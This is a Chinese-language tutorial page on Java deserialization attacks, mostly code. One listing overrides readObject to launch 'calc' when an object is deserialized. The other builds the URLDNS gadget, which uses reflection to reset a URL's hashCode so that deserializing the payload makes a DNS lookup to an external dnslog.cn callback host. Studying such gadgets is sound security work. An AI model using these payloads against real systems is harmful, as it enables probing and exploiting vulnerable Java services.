Java反序列化：URLDNS的反序列化调试分析 - ToB企服应用市场:ToB评测及商务社交产业平台

package serialize;
import java.io.*;
public class deserTest implements Serializable {
private int n;
public deserTest(int n) {
this.n=n;
}
@Override
public String toString() {
return "deserTest2 [n=" + n + ", getClass()=" + getClass() + ", hashCode()=" + hashCode() + ", toString()="
+ super.toString() + "]";
}
// 反序列化
private void readObject(java.io.ObjectInputStream in) throws IOException,ClassNotFoundException{
in.defaultReadObject();
Runtime.getRuntime().exec("calc");
System.out.println("test");
}
public static void main(String[] args) {
deserTest x = new deserTest(5);
operation1.ser(x);
operation1.deser();
x.toString();
}
}
// 实现序列化和反序列化具体细节的类
class operation1{
// 将输出字节流写入文件中进行封存
public static void ser(Object obj) {
// 序列化操作，写操作
try {
// 首先文件落地object.obj存储输出流，绑定输出流
ObjectOutputStream ooStream = new ObjectOutputStream(new FileOutputStream("object.obj"));
// 重定向将输出流字节写入文件
ooStream.writeObject(obj);
ooStream.flush();
ooStream.close();
} catch (FileNotFoundException e) {
e.printStackTrace();
}catch (IOException e) {
// TODO: handle exception
e.printStackTrace();
}
}
public static void deser() {
// 反序列化，读取操作
try {
// 绑定输入流
ObjectInputStream iiStream = new ObjectInputStream(new FileInputStream("object.obj"));
// 反序列化时需要从相关的文件容器中读取输出的字节流
// 读取字节流操作为readObject,所以重写readObject可以执行自定义代码
Object xObject = iiStream.readObject();
iiStream.close();
} catch (IOException e) {
// TODO: handle exception
e.printStackTrace();
} catch (ClassNotFoundException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}

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import java.io.*;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
public class Main{
// 序列化前不发生dns解析
static class SilentURLStreamHandler extends URLStreamHandler{
protected URLConnection openConnection(URL n) throws IOException{
return null;
}
protected synchronized InetAddress getHostAddress(URL n)
{
return null;
}
}
public static void main(String[] args) throws Exception{
HashMap hashMap = new HashMap();
// 设置put时不发起dns解析
URLStreamHandler handler = new Main.SilentURLStreamHandler();
URL url = new URL(null, "http://jloqk8.dnslog.cn", handler);
// 利用Java反射机制在动态执行时获取类
Class clazz = Class.forName("java.net.URL");
Field f = clazz.getDeclaredField("hashCode");
f.setAccessible(true);
hashMap.put(url, "123");
f.set(url, -1);
// 对象输出流绑定文件输出流
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(hashMap); // 序列化
// 对象输入流绑定文件输入流
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
ois.readObject(); // 反序列化
}
}

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